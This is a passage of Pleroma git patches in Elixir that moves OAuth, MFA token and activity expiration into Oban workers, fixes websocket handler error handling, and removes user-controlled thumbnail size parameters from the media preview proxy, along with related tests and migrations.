expired?(%__MODULE__{valid_until: valid_until}) do + with true <- NaiveDateTime.diff(NaiveDateTime.utc_now(), valid_until) > 0 do + {:error, :expired_token} + end + end + + @spec create(User.t(), Authorization.t() | nil) :: {:ok, t()} | {:error, Ecto.Changeset.t()} + def create(user, authorization \\ nil) do + with {:ok, token} <- do_create(user, authorization) do + Pleroma.Workers.PurgeExpiredToken.enqueue(%{ + token_id: token.id, + valid_until: DateTime.from_naive!(token.valid_until, "Etc/UTC"), + mod: __MODULE__ + }) + + {:ok, token} + end end - def create_token(user, authorization) do + defp do_create(user, authorization) do %__MODULE__{} - |> change + |> change() |> assign_user(user) - |> assign_authorization(authorization) - |> put_token - |> put_valid_until + |> maybe_assign_authorization(authorization) + |> put_token() + |> put_valid_until() |> Repo.insert() end @@ -69,15 +78,19 @@ defp assign_user(changeset, user) do |> validate_required([:user]) end - defp assign_authorization(changeset, authorization) do + defp maybe_assign_authorization(changeset, %Authorization{} = authorization) do changeset |> put_assoc(:authorization, authorization) |> validate_required([:authorization]) end + defp maybe_assign_authorization(changeset, _), do: changeset + defp put_token(changeset) do + token = Pleroma.Web.OAuth.Token.Utils.generate_token() + changeset - |> change(%{token: OAuthToken.Utils.generate_token()}) + |> change(%{token: token}) |> validate_required([:token]) |> unique_constraint(:token) end @@ -89,18 +102,4 @@ defp put_valid_until(changeset) do |> change(%{valid_until: expires_in}) |> validate_required([:valid_until]) end - - def is_expired?(%__MODULE__{valid_until: valid_until}) do - NaiveDateTime.diff(NaiveDateTime.utc_now(), valid_until) > 0 - end - - def is_expired?(_), do: false - - def delete_expired_tokens do - from( - q in __MODULE__, - where: fragment("?", q.valid_until) < ^Timex.now() - ) - |> Repo.delete_all() - end end diff --git a/lib/pleroma/web/oauth/oauth_controller.ex b/lib/pleroma/web/oauth/oauth_controller.ex index dd00600ea..bbe7aa8a0 100644 --- a/lib/pleroma/web/oauth/oauth_controller.ex +++ b/lib/pleroma/web/oauth/oauth_controller.ex @@ -197,7 +197,7 @@ defp handle_create_authorization_error( {:mfa_required, user, auth, _}, params ) do - {:ok, token} = MFA.Token.create_token(user, auth) + {:ok, token} = MFA.Token.create(user, auth) data = %{ "mfa_token" => token.token, @@ -579,7 +579,7 @@ defp put_session_registration_id(%Plug.Conn{} = conn, registration_id), do: put_session(conn, :registration_id, registration_id) defp build_and_response_mfa_token(user, auth) do - with {:ok, token} <- MFA.Token.create_token(user, auth) do + with {:ok, token} <- MFA.Token.create(user, auth) do MFAView.render("mfa_response.json", %{token: token, user: user}) end end diff --git a/lib/pleroma/web/oauth/token.ex b/lib/pleroma/web/oauth/token.ex index 4d00fcb1c..de37998f2 100644 --- a/lib/pleroma/web/oauth/token.ex +++ b/lib/pleroma/web/oauth/token.ex @@ -87,9 +87,10 @@ defp put_valid_until(changeset, attrs) do def create(%App{} = app, %User{} = user, attrs \\ %{}) do with {:ok, token} <- do_create(app, user, attrs) do if Pleroma.Config.get([:oauth2, :clean_expired_tokens]) do - Pleroma.Workers.PurgeExpiredOAuthToken.enqueue(%{ + Pleroma.Workers.PurgeExpiredToken.enqueue(%{ token_id: token.id, - valid_until: DateTime.from_naive!(token.valid_until, "Etc/UTC") + valid_until: DateTime.from_naive!(token.valid_until, "Etc/UTC"), + mod: __MODULE__ }) end diff --git a/lib/pleroma/web/oauth/token/clean_worker.ex b/lib/pleroma/web/oauth/token/clean_worker.ex deleted file mode 100644 index 2f51bdb75..000000000 --- a/lib/pleroma/web/oauth/token/clean_worker.ex +++ /dev/null @@ -1,36 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.OAuth.Token.CleanWorker do - @moduledoc """ - The module represents functions to clean an expired OAuth and MFA tokens. - """ - use GenServer - - @ten_seconds 10_000 - @one_day 86_400_000 - - alias Pleroma.MFA - alias Pleroma.Workers.BackgroundWorker - - def start_link(_), do: GenServer.start_link(__MODULE__, %{}) - - def init(_) do - Process.send_after(self(), :perform, @ten_seconds) - {:ok, nil} - end - - @doc false - def handle_info(:perform, state) do - BackgroundWorker.enqueue("clean_expired_tokens", %{}) - interval = Pleroma.Config.get([:oauth2, :clean_expired_tokens_interval], @one_day) - - Process.send_after(self(), :perform, interval) - {:noreply, state} - end - - def perform(:clean) do - MFA.Token.delete_expired_tokens() - end -end diff --git a/lib/pleroma/web/twitter_api/controllers/remote_follow_controller.ex b/lib/pleroma/web/twitter_api/controllers/remote_follow_controller.ex index 521dc9322..072d889e2 100644 --- a/lib/pleroma/web/twitter_api/controllers/remote_follow_controller.ex +++ b/lib/pleroma/web/twitter_api/controllers/remote_follow_controller.ex @@ -135,7 +135,7 @@ defp handle_follow_error(conn, {:verify_mfa_code, followee, token, _} = _) do end defp handle_follow_error(conn, {:mfa_required, followee, user, _} = _) do - {:ok, %{token: token}} = MFA.Token.create_token(user) + {:ok, %{token: token}} = MFA.Token.create(user) render(conn, "follow_mfa.html", %{followee: followee, mfa_token: token, error: false}) end diff --git a/lib/pleroma/workers/purge_expired_token.ex b/lib/pleroma/workers/purge_expired_token.ex index 6068e43bf..a81e0cd28 100644 --- a/lib/pleroma/workers/purge_expired_token.ex +++ b/lib/pleroma/workers/purge_expired_token.ex @@ -2,14 +2,14 @@ # Copyright © 2017-2020 Pleroma Authors # SPDX-License-Identifier: AGPL-3.0-only -defmodule Pleroma.Workers.PurgeExpiredOAuthToken do +defmodule Pleroma.Workers.PurgeExpiredToken do @moduledoc """ Worker which purges expired OAuth tokens """ - use Oban.Worker, queue: :oauth_token_expiration, max_attempts: 1 + use Oban.Worker, queue: :token_expiration, max_attempts: 1 - @spec enqueue(%{token_id: integer(), valid_until: DateTime.t()}) :: + @spec enqueue(%{token_id: integer(), valid_until: DateTime.t(), mod: module()}) :: {:ok, Oban.Job.t()} | {:error, Ecto.Changeset.t()} def enqueue(args) do {scheduled_at, args} = Map.pop(args, :valid_until) @@ -20,8 +20,9 @@ def enqueue(args) do end @impl true - def perform(%Oban.Job{args: %{"token_id" => id}}) do - Pleroma.Web.OAuth.Token + def perform(%Oban.Job{args: %{"token_id" => id, "mod" => module}}) do + module + |> String.to_existing_atom() |> Pleroma.Repo.get(id) |> Pleroma.Repo.delete() end diff --git a/test/web/twitter_api/remote_follow_controller_test.exs b/test/web/twitter_api/remote_follow_controller_test.exs index f7e54c26a..3852c7ce9 100644 --- a/test/web/twitter_api/remote_follow_controller_test.exs +++ b/test/web/twitter_api/remote_follow_controller_test.exs @@ -227,7 +227,7 @@ test "follows", %{conn: conn} do } ) - {:ok, %{token: token}} = MFA.Token.create_token(user) + {:ok, %{token: token}} = MFA.Token.create(user) user2 = insert(:user) otp_token = TOTP.generate_token(otp_secret) @@ -256,7 +256,7 @@ test "returns error when auth code is incorrect", %{conn: conn} do } ) - {:ok, %{token: token}} = MFA.Token.create_token(user) + {:ok, %{token: token}} = MFA.Token.create(user) user2 = insert(:user) otp_token = TOTP.generate_token(TOTP.generate_secret()) diff --git a/test/workers/purge_expired_oauth_token_test.exs b/test/workers/purge_expired_oauth_token_test.exs deleted file mode 100644 index 3bd650d89..000000000 --- a/test/workers/purge_expired_oauth_token_test.exs +++ /dev/null @@ -1,27 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Workers.PurgeExpiredOAuthTokenTest do - use Pleroma.DataCase, async: true - use Oban.Testing, repo: Pleroma.Repo - - import Pleroma.Factory - - setup do: clear_config([:oauth2, :clean_expired_tokens], true) - - test "purges expired token" do - user = insert(:user) - app = insert(:oauth_app) - - {:ok, %{id: id}} = Pleroma.Web.OAuth.Token.create(app, user) - - assert_enqueued( - worker: Pleroma.Workers.PurgeExpiredOAuthToken, - args: %{token_id: id} - ) - - assert {:ok, %{id: ^id}} = - perform_job(Pleroma.Workers.PurgeExpiredOAuthToken, %{token_id: id}) - end -end diff --git a/test/workers/purge_expired_token_test.exs b/test/workers/purge_expired_token_test.exs new file mode 100644 index 000000000..fb7708c3f --- /dev/null +++ b/test/workers/purge_expired_token_test.exs @@ -0,0 +1,51 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Workers.PurgeExpiredTokenTest do + use Pleroma.DataCase, async: true + use Oban.Testing, repo: Pleroma.Repo + + import Pleroma.Factory + + setup do: clear_config([:oauth2, :clean_expired_tokens], true) + + test "purges expired oauth token" do + user = insert(:user) + app = insert(:oauth_app) + + {:ok, %{id: id}} = Pleroma.Web.OAuth.Token.create(app, user) + + assert_enqueued( + worker: Pleroma.Workers.PurgeExpiredToken, + args: %{token_id: id, mod: Pleroma.Web.OAuth.Token} + ) + + assert {:ok, %{id: ^id}} = + perform_job(Pleroma.Workers.PurgeExpiredToken, %{ + token_id: id, + mod: Pleroma.Web.OAuth.Token + }) + + assert Repo.aggregate(Pleroma.Web.OAuth.Token, :count, :id) == 0 + end + + test "purges expired mfa token" do + authorization = insert(:oauth_authorization) + + {:ok, %{id: id}} = Pleroma.MFA.Token.create(authorization.user, authorization) + + assert_enqueued( + worker: Pleroma.Workers.PurgeExpiredToken, + args: %{token_id: id, mod: Pleroma.MFA.Token} + ) + + assert {:ok, %{id: ^id}} = + perform_job(Pleroma.Workers.PurgeExpiredToken, %{ + token_id: id, + mod: Pleroma.MFA.Token + }) + + assert Repo.aggregate(Pleroma.MFA.Token, :count, :id) == 0 + end +end -- cgit v1.2.3 From c6647c08e10a45aedcd77258a0e71c41d213eaa6 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Mon, 7 Sep 2020 11:54:10 +0300 Subject: migration and changelog --- CHANGELOG.md | 1 + ...ron_clear_oauth_token_worker_from_oban_config.exs | 20 ++++++++++++++++++++ 2 files changed, 21 insertions(+) create mode 100644 priv/repo/migrations/20200907084956_remove_cron_clear_oauth_token_worker_from_oban_config.exs diff --git a/CHANGELOG.md b/CHANGELOG.md index 19b2596cc..14c0252f7 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -13,6 +13,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). ### Removed - **Breaking:** Removed `Pleroma.Workers.Cron.StatsWorker` setting from Oban `:crontab`. +- **Breaking:** Removed `Pleroma.Workers.Cron.ClearOauthTokenWorker` setting from Oban `:crontab` config. ## [2.1.1] - 2020-09-08 diff --git a/priv/repo/migrations/20200907084956_remove_cron_clear_oauth_token_worker_from_oban_config.exs b/priv/repo/migrations/20200907084956_remove_cron_clear_oauth_token_worker_from_oban_config.exs new file mode 100644 index 000000000..d9c972563 --- /dev/null +++ b/priv/repo/migrations/20200907084956_remove_cron_clear_oauth_token_worker_from_oban_config.exs @@ -0,0 +1,20 @@ +defmodule Pleroma.Repo.Migrations.RemoveCronClearOauthTokenWorkerFromObanConfig do + use Ecto.Migration + + def change do + with %Pleroma.ConfigDB{} = config <- + Pleroma.ConfigDB.get_by_params(%{group: :pleroma, key: Oban}), + crontab when is_list(crontab) <- config.value[:crontab], + index when is_integer(index) <- + Enum.find_index(crontab, fn {_, worker} -> + worker == Pleroma.Workers.Cron.ClearOauthTokenWorker + end) do + updated_value = Keyword.put(config.value, :crontab, List.delete_at(crontab, index)) + + config + |> Ecto.Changeset.change(value: updated_value) + |> Pleroma.Repo.update() + end + + end +end -- cgit v1.2.3 From e11fca88d424b394359f50646e4b4ec9b3ae1a8b Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Mon, 7 Sep 2020 13:44:42 +0300 Subject: migration to move tokens expiration into Oban --- ...0907092050_move_tokens_expiration_into_oban.exs | 36 ++++++++++++++++++++++ 1 file changed, 36 insertions(+) create mode 100644 priv/repo/migrations/20200907092050_move_tokens_expiration_into_oban.exs diff --git a/priv/repo/migrations/20200907092050_move_tokens_expiration_into_oban.exs b/priv/repo/migrations/20200907092050_move_tokens_expiration_into_oban.exs new file mode 100644 index 000000000..832bd02a7 --- /dev/null +++ b/priv/repo/migrations/20200907092050_move_tokens_expiration_into_oban.exs @@ -0,0 +1,36 @@ +defmodule Pleroma.Repo.Migrations.MoveTokensExpirationIntoOban do + use Ecto.Migration + + import Ecto.Query, only: [from: 2] + + def change do + Supervisor.start_link([{Oban, Pleroma.Config.get(Oban)}], + strategy: :one_for_one, + name: Pleroma.Supervisor + ) + + if Pleroma.Config.get([:oauth2, :clean_expired_tokens]) do + from(t in Pleroma.Web.OAuth.Token, where: t.valid_until > ^NaiveDateTime.utc_now()) + |> Pleroma.Repo.stream() + |> Stream.each(fn token -> + Pleroma.Workers.PurgeExpiredToken.enqueue(%{ + token_id: token.id, + valid_until: DateTime.from_naive!(token.valid_until, "Etc/UTC"), + mod: Pleroma.Web.OAuth.Token + }) + end) + |> Stream.run() + end + + from(t in Pleroma.MFA.Token, where: t.valid_until > ^NaiveDateTime.utc_now()) + |> Pleroma.Repo.stream() + |> Stream.each(fn token -> + Pleroma.Workers.PurgeExpiredToken.enqueue(%{ + token_id: token.id, + valid_until: DateTime.from_naive!(token.valid_until, "Etc/UTC"), + mod: Pleroma.MFA.Token + }) + end) + |> Stream.run() + end +end -- cgit v1.2.3 From eca42566ba62ece75b79915f4af0c8a0f0c48a17 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Mon, 7 Sep 2020 13:54:28 +0300 Subject: formatting --- ...907084956_remove_cron_clear_oauth_token_worker_from_oban_config.exs | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/priv/repo/migrations/20200907084956_remove_cron_clear_oauth_token_worker_from_oban_config.exs b/priv/repo/migrations/20200907084956_remove_cron_clear_oauth_token_worker_from_oban_config.exs index d9c972563..b5a0a0ff6 100644 --- a/priv/repo/migrations/20200907084956_remove_cron_clear_oauth_token_worker_from_oban_config.exs +++ b/priv/repo/migrations/20200907084956_remove_cron_clear_oauth_token_worker_from_oban_config.exs @@ -2,7 +2,7 @@ defmodule Pleroma.Repo.Migrations.RemoveCronClearOauthTokenWorkerFromObanConfig use Ecto.Migration def change do - with %Pleroma.ConfigDB{} = config <- + with %Pleroma.ConfigDB{} = config <- Pleroma.ConfigDB.get_by_params(%{group: :pleroma, key: Oban}), crontab when is_list(crontab) <- config.value[:crontab], index when is_integer(index) <- @@ -15,6 +15,5 @@ def change do |> Ecto.Changeset.change(value: updated_value) |> Pleroma.Repo.update() end - end end -- cgit v1.2.3 From 8af1fd32234df7d0cdb74d78bcca9f68587b70f2 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Mon, 7 Sep 2020 20:06:28 +0300 Subject: oban warning --- lib/pleroma/config/oban.ex | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/pleroma/config/oban.ex b/lib/pleroma/config/oban.ex index c2d56ebab..81758c93d 100644 --- a/lib/pleroma/config/oban.ex +++ b/lib/pleroma/config/oban.ex @@ -5,7 +5,7 @@ def warn do oban_config = Pleroma.Config.get(Oban) crontab = - [Pleroma.Workers.Cron.StatsWorker] + [Pleroma.Workers.Cron.StatsWorker, Pleroma.Workers.Cron.ClearOauthTokenWorker] |> Enum.reduce(oban_config[:crontab], fn removed_worker, acc -> with acc when is_list(acc) <- acc, setting when is_tuple(setting) <- -- cgit v1.2.3 From e8bfb50fa3c16f98845e326b153c8a89505e8a55 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Thu, 10 Sep 2020 20:09:44 +0300 Subject: pass options without adapter key --- lib/pleroma/reverse_proxy/client/tesla.ex | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/pleroma/reverse_proxy/client/tesla.ex b/lib/pleroma/reverse_proxy/client/tesla.ex index d5a339681..4b118eec2 100644 --- a/lib/pleroma/reverse_proxy/client/tesla.ex +++ b/lib/pleroma/reverse_proxy/client/tesla.ex @@ -28,7 +28,7 @@ def request(method, url, headers, body, opts \\ []) do url, body, headers, - Keyword.put(opts, :adapter, opts) + opts ) do if is_map(response.body) and method != :head do {:ok, response.status, response.headers, response.body} -- cgit v1.2.3 From cb06e98da27994ac8034f3ba387b6eeaf8a2c48f Mon Sep 17 00:00:00 2001 From: rinpatch Date: Thu, 10 Sep 2020 13:47:53 +0300 Subject: websocket handler: Do not log client ping frames as errors --- lib/pleroma/web/mastodon_api/websocket_handler.ex | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/lib/pleroma/web/mastodon_api/websocket_handler.ex b/lib/pleroma/web/mastodon_api/websocket_handler.ex index 94e4595d8..e6010bb4a 100644 --- a/lib/pleroma/web/mastodon_api/websocket_handler.ex +++ b/lib/pleroma/web/mastodon_api/websocket_handler.ex @@ -64,7 +64,9 @@ def websocket_handle(:pong, state) do {:ok, %{state | timer: timer()}} end - # We never receive messages. + # We only receive pings for now + def websocket_handle(:ping, state), do: {:ok, state} + def websocket_handle(frame, state) do Logger.error("#{__MODULE__} received frame: #{inspect(frame)}") {:ok, state} -- cgit v1.2.3 From e16e8f98169f822416c18778abfa8495a486c8f2 Mon Sep 17 00:00:00 2001 From: rinpatch Date: Thu, 10 Sep 2020 13:48:24 +0300 Subject: Websocket handler: do not raise if handler is terminated before switching protocols Closes #2131 --- lib/pleroma/web/mastodon_api/websocket_handler.ex | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/lib/pleroma/web/mastodon_api/websocket_handler.ex b/lib/pleroma/web/mastodon_api/websocket_handler.ex index e6010bb4a..5090d9622 100644 --- a/lib/pleroma/web/mastodon_api/websocket_handler.ex +++ b/lib/pleroma/web/mastodon_api/websocket_handler.ex @@ -100,6 +100,10 @@ def websocket_info(:tick, state) do {:reply, :ping, %{state | timer: nil, count: 0}, :hibernate} end + # State can be `[]` only in case we terminate before switching to websocket, + # we already log errors for these cases in `init/1`, so just do nothing here + def terminate(_reason, _req, []), do: :ok + def terminate(reason, _req, state) do Logger.debug( "#{__MODULE__} terminating websocket connection for user #{ -- cgit v1.2.3 From 01fa68fe4542286519e3520793c6b59103b050ff Mon Sep 17 00:00:00 2001 From: rinpatch Date: Thu, 10 Sep 2020 21:26:52 +0300 Subject: Websocket handler: fix never matching code on failed auth `:cowboy_req.reply` does not return tuples since 2.0, see https://ninenines.eu/docs/en/cowboy/2.4/manual/cowboy_req.reply/ --- lib/pleroma/web/mastodon_api/websocket_handler.ex | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/pleroma/web/mastodon_api/websocket_handler.ex b/lib/pleroma/web/mastodon_api/websocket_handler.ex index 5090d9622..cf923ded8 100644 --- a/lib/pleroma/web/mastodon_api/websocket_handler.ex +++ b/lib/pleroma/web/mastodon_api/websocket_handler.ex @@ -37,12 +37,12 @@ def init(%{qs: qs} = req, state) do else {:error, :bad_topic} -> Logger.debug("#{__MODULE__} bad topic #{inspect(req)}") - {:ok, req} = :cowboy_req.reply(404, req) + req = :cowboy_req.reply(404, req) {:ok, req, state} {:error, :unauthorized} -> Logger.debug("#{__MODULE__} authentication error: #{inspect(req)}") - {:ok, req} = :cowboy_req.reply(401, req) + req = :cowboy_req.reply(401, req) {:ok, req, state} end end -- cgit v1.2.3 From dc4e06e1991379f9f1b64774c5bdaacec96639b7 Mon Sep 17 00:00:00 2001 From: Ivan Tashkinov Date: Thu, 10 Sep 2020 21:28:07 +0300 Subject: [#2497] Removed support for thumbnail_max_* params for media preview proxy (per https://git.pleroma.social/pleroma/pleroma/-/merge_requests/2497#note_70771) --- .../web/media_proxy/media_proxy_controller.ex | 38 ++++++++-------------- 1 file changed, 14 insertions(+), 24 deletions(-) diff --git a/lib/pleroma/web/media_proxy/media_proxy_controller.ex b/lib/pleroma/web/media_proxy/media_proxy_controller.ex index acb581459..5621f72dc 100644 --- a/lib/pleroma/web/media_proxy/media_proxy_controller.ex +++ b/lib/pleroma/web/media_proxy/media_proxy_controller.ex @@ -9,6 +9,7 @@ defmodule Pleroma.Web.MediaProxy.MediaProxyController do alias Pleroma.Helpers.MediaHelper alias Pleroma.ReverseProxy alias Pleroma.Web.MediaProxy + alias Plug.Conn def remote(conn, %{"sig" => sig64, "url" => url64}) do with {_, true} <- {:enabled, MediaProxy.enabled?()}, @@ -18,29 +19,29 @@ def remote(conn, %{"sig" => sig64, "url" => url64}) do ReverseProxy.call(conn, url, media_proxy_opts()) else {:enabled, false} -> - send_resp(conn, 404, Plug.Conn.Status.reason_phrase(404)) + send_resp(conn, 404, Conn.Status.reason_phrase(404)) {:in_banned_urls, true} -> - send_resp(conn, 404, Plug.Conn.Status.reason_phrase(404)) + send_resp(conn, 404, Conn.Status.reason_phrase(404)) {:error, :invalid_signature} -> - send_resp(conn, 403, Plug.Conn.Status.reason_phrase(403)) + send_resp(conn, 403, Conn.Status.reason_phrase(403)) {:wrong_filename, filename} -> redirect(conn, external: MediaProxy.build_url(sig64, url64, filename)) end end - def preview(conn, %{"sig" => sig64, "url" => url64}) do + def preview(%Conn{} = conn, %{"sig" => sig64, "url" => url64}) do with {_, true} <- {:enabled, MediaProxy.preview_enabled?()}, {:ok, url} <- MediaProxy.decode_url(sig64, url64) do handle_preview(conn, url) else {:enabled, false} -> - send_resp(conn, 404, Plug.Conn.Status.reason_phrase(404)) + send_resp(conn, 404, Conn.Status.reason_phrase(404)) {:error, :invalid_signature} -> - send_resp(conn, 403, Plug.Conn.Status.reason_phrase(403)) + send_resp(conn, 403, Conn.Status.reason_phrase(403)) {:wrong_filename, filename} -> redirect(conn, external: MediaProxy.build_preview_url(sig64, url64, filename)) @@ -94,10 +95,10 @@ defp handle_preview(content_type, conn, _media_proxy_url) do send_resp(conn, :unprocessable_entity, "Unsupported content type: #{content_type}.") end - defp handle_png_preview(%{params: params} = conn, media_proxy_url) do + defp handle_png_preview(conn, media_proxy_url) do quality = Config.get!([:media_preview_proxy, :image_quality]) - with {thumbnail_max_width, thumbnail_max_height} <- thumbnail_max_dimensions(params), + with {thumbnail_max_width, thumbnail_max_height} <- thumbnail_max_dimensions(), {:ok, thumbnail_binary} <- MediaHelper.image_resize( media_proxy_url, @@ -117,10 +118,10 @@ defp handle_png_preview(%{params: params} = conn, media_proxy_url) do end end - defp handle_jpeg_preview(%{params: params} = conn, media_proxy_url) do + defp handle_jpeg_preview(conn, media_proxy_url) do quality = Config.get!([:media_preview_proxy, :image_quality]) - with {thumbnail_max_width, thumbnail_max_height} <- thumbnail_max_dimensions(params), + with {thumbnail_max_width, thumbnail_max_height} <- thumbnail_max_dimensions(), {:ok, thumbnail_binary} <- MediaHelper.image_resize( media_proxy_url, @@ -157,22 +158,11 @@ defp put_preview_response_headers( |> put_resp_header("cache-control", ReverseProxy.default_cache_control_header()) end - defp thumbnail_max_dimensions(params) do + defp thumbnail_max_dimensions() do config = Config.get([:media_preview_proxy], []) - thumbnail_max_width = - if w = params["thumbnail_max_width"] do - String.to_integer(w) - else - Keyword.fetch!(config, :thumbnail_max_width) - end - - thumbnail_max_height = - if h = params["thumbnail_max_height"] do - String.to_integer(h) - else - Keyword.fetch!(config, :thumbnail_max_height) - end + thumbnail_max_width = Keyword.fetch!(config, :thumbnail_max_width) + thumbnail_max_height = Keyword.fetch!(config, :thumbnail_max_height) {thumbnail_max_width, thumbnail_max_height} end -- cgit v1.2.3 From 275602daa7c4a01dffb83759012554da2d9335fe Mon Sep 17 00:00:00 2001 From: rinpatch Date: Thu, 10 Sep 2020 21:28:47 +0300 Subject: Streaming integration tests: remove unexpected error assumption For some reason instead of fixing unexpected errors, we made tests assert they indeed trigger... Now that the errors are fixed these were failing --- test/integration/mastodon_websocket_test.exs | 26 +++++++++++++------------- 1 file changed, 13 insertions(+), 13 deletions(-) diff --git a/test/integration/mastodon_websocket_test.exs b/test/integration/mastodon_websocket_test.exs index ea17e9feb..76fbc8bda 100644 --- a/test/integration/mastodon_websocket_test.exs +++ b/test/integration/mastodon_websocket_test.exs @@ -99,30 +99,30 @@ test "accepts valid tokens", state do test "accepts the 'user' stream", %{token: token} = _state do assert {:ok, _} = start_socket("?stream=user&access_token=#{token.token}") - assert capture_log(fn -> - assert {:error, {401, _}} = start_socket("?stream=user") - Process.sleep(30) - end) =~ ":badarg" + capture_log(fn -> + assert {:error, {401, _}} = start_socket("?stream=user") + Process.sleep(30) + end) end test "accepts the 'user:notification' stream", %{token: token} = _state do assert {:ok, _} = start_socket("?stream=user:notification&access_token=#{token.token}") - assert capture_log(fn -> - assert {:error, {401, _}} = start_socket("?stream=user:notification") - Process.sleep(30) - end) =~ ":badarg" + capture_log(fn -> + assert {:error, {401, _}} = start_socket("?stream=user:notification") + Process.sleep(30) + end) end test "accepts valid token on Sec-WebSocket-Protocol header", %{token: token} do assert {:ok, _} = start_socket("?stream=user", [{"Sec-WebSocket-Protocol", token.token}]) - assert capture_log(fn -> - assert {:error, {401, _}} = - start_socket("?stream=user", [{"Sec-WebSocket-Protocol", "I am a friend"}]) + capture_log(fn -> + assert {:error, {401, _}} = + start_socket("?stream=user", [{"Sec-WebSocket-Protocol", "I am a friend"}]) - Process.sleep(30) - end) =~ ":badarg" + Process.sleep(30) + end) end end end -- cgit v1.2.3 From 9bf1065a06837b4c753549d89afe23a636a20972 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Sat, 22 Aug 2020 20:46:01 +0300 Subject: schedule activity expiration in Oban --- config/config.exs | 3 +- config/description.exs | 1 - lib/mix/tasks/pleroma/database.ex | 18 +++-- lib/pleroma/activity.ex | 3 - lib/pleroma/activity_expiration.ex | 74 ------------------- lib/pleroma/web/activity_pub/activity_pub.ex | 7 +- .../activity_pub/mrf/activity_expiration_policy.ex | 4 +- lib/pleroma/web/activity_pub/side_effects.ex | 6 +- lib/pleroma/web/common_api/activity_draft.ex | 2 +- lib/pleroma/web/common_api/common_api.ex | 5 +- lib/pleroma/web/mastodon_api/views/status_view.ex | 5 +- .../cron/purge_expired_activities_worker.ex | 48 ------------- lib/pleroma/workers/purge_expired_activity.ex | 72 +++++++++++++++++++ test/activity_expiration_test.exs | 55 -------------- test/activity_test.exs | 9 --- test/support/factory.ex | 19 ----- test/tasks/database_test.exs | 64 +++++++++-------- test/web/activity_pub/activity_pub_test.exs | 25 ++++--- .../mrf/activity_expiration_policy_test.exs | 8 +-- test/web/common_api/common_api_test.exs | 14 ++-- .../controllers/status_controller_test.exs | 44 +++++------- .../cron/purge_expired_activities_worker_test.exs | 84 ---------------------- test/workers/purge_expired_activity_test.exs | 47 ++++++++++++ 23 files changed, 230 insertions(+), 387 deletions(-) delete mode 100644 lib/pleroma/activity_expiration.ex delete mode 100644 lib/pleroma/workers/cron/purge_expired_activities_worker.ex create mode 100644 lib/pleroma/workers/purge_expired_activity.ex delete mode 100644 test/activity_expiration_test.exs delete mode 100644 test/workers/cron/purge_expired_activities_worker_test.exs create mode 100644 test/workers/purge_expired_activity_test.exs diff --git a/config/config.exs b/config/config.exs index 95a6ea9db..d975db31e 100644 --- a/config/config.exs +++ b/config/config.exs @@ -544,7 +544,6 @@ ], plugins: [Oban.Plugins.Pruner], crontab: [ - {"* * * * *", Pleroma.Workers.Cron.PurgeExpiredActivitiesWorker}, {"0 0 * * 0", Pleroma.Workers.Cron.DigestEmailsWorker}, {"0 0 * * *", Pleroma.Workers.Cron.NewUsersDigestWorker} ] @@ -655,7 +654,7 @@ account_confirmation_resend: {8_640_000, 5}, ap_routes: {60_000, 15} -config :pleroma, Pleroma.ActivityExpiration, enabled: true +config :pleroma, Pleroma.Workers.PurgeExpiredActivity, enabled: true config :pleroma, Pleroma.Plugs.RemoteIp, enabled: true diff --git a/config/description.exs b/config/description.exs index 4c4deed30..6ce27278c 100644 --- a/config/description.exs +++ b/config/description.exs @@ -2290,7 +2290,6 @@ type: {:list, :tuple}, description: "Settings for cron background jobs", suggestions: [ - {"* * * * *", Pleroma.Workers.Cron.PurgeExpiredActivitiesWorker}, {"0 0 * * 0", Pleroma.Workers.Cron.DigestEmailsWorker}, {"0 0 * * *", Pleroma.Workers.Cron.NewUsersDigestWorker} ] diff --git a/lib/mix/tasks/pleroma/database.ex b/lib/mix/tasks/pleroma/database.ex index 7d8f00b08..aab4b5e9a 100644 --- a/lib/mix/tasks/pleroma/database.ex +++ b/lib/mix/tasks/pleroma/database.ex @@ -133,8 +133,7 @@ def run(["ensure_expiration"]) do days = Pleroma.Config.get([:mrf_activity_expiration, :days], 365) Pleroma.Activity - |> join(:left, [a], u in assoc(a, :expiration)) - |> join(:inner, [a, _u], o in Object, + |> join(:inner, [a], o in Object, on: fragment( "(?->>'id') = COALESCE((?)->'object'->> 'id', (?)->>'object')", @@ -144,14 +143,21 @@ def run(["ensure_expiration"]) do ) ) |> where(local: true) - |> where([a, u], is_nil(u)) |> where([a], fragment("(? ->> 'type'::text) = 'Create'", a.data)) - |> where([_a, _u, o], fragment("?->>'type' = 'Note'", o.data)) + |> where([_a, o], fragment("?->>'type' = 'Note'", o.data)) |> Pleroma.RepoStreamer.chunk_stream(100) |> Stream.each(fn activities -> Enum.each(activities, fn activity -> - expires_at = Timex.shift(activity.inserted_at, days: days) - Pleroma.ActivityExpiration.create(activity, expires_at, false) + expires_at = + activity.inserted_at + |> DateTime.from_naive!("Etc/UTC") + |> Timex.shift(days: days) + + Pleroma.Workers.PurgeExpiredActivity.enqueue(%{ + activity_id: activity.id, + expires_at: expires_at, + validate: false + }) end) end) |> Stream.run() diff --git a/lib/pleroma/activity.ex b/lib/pleroma/activity.ex index 97feebeaa..03cd3b8c0 100644 --- a/lib/pleroma/activity.ex +++ b/lib/pleroma/activity.ex @@ -7,7 +7,6 @@ defmodule Pleroma.Activity do alias Pleroma.Activity alias Pleroma.Activity.Queries - alias 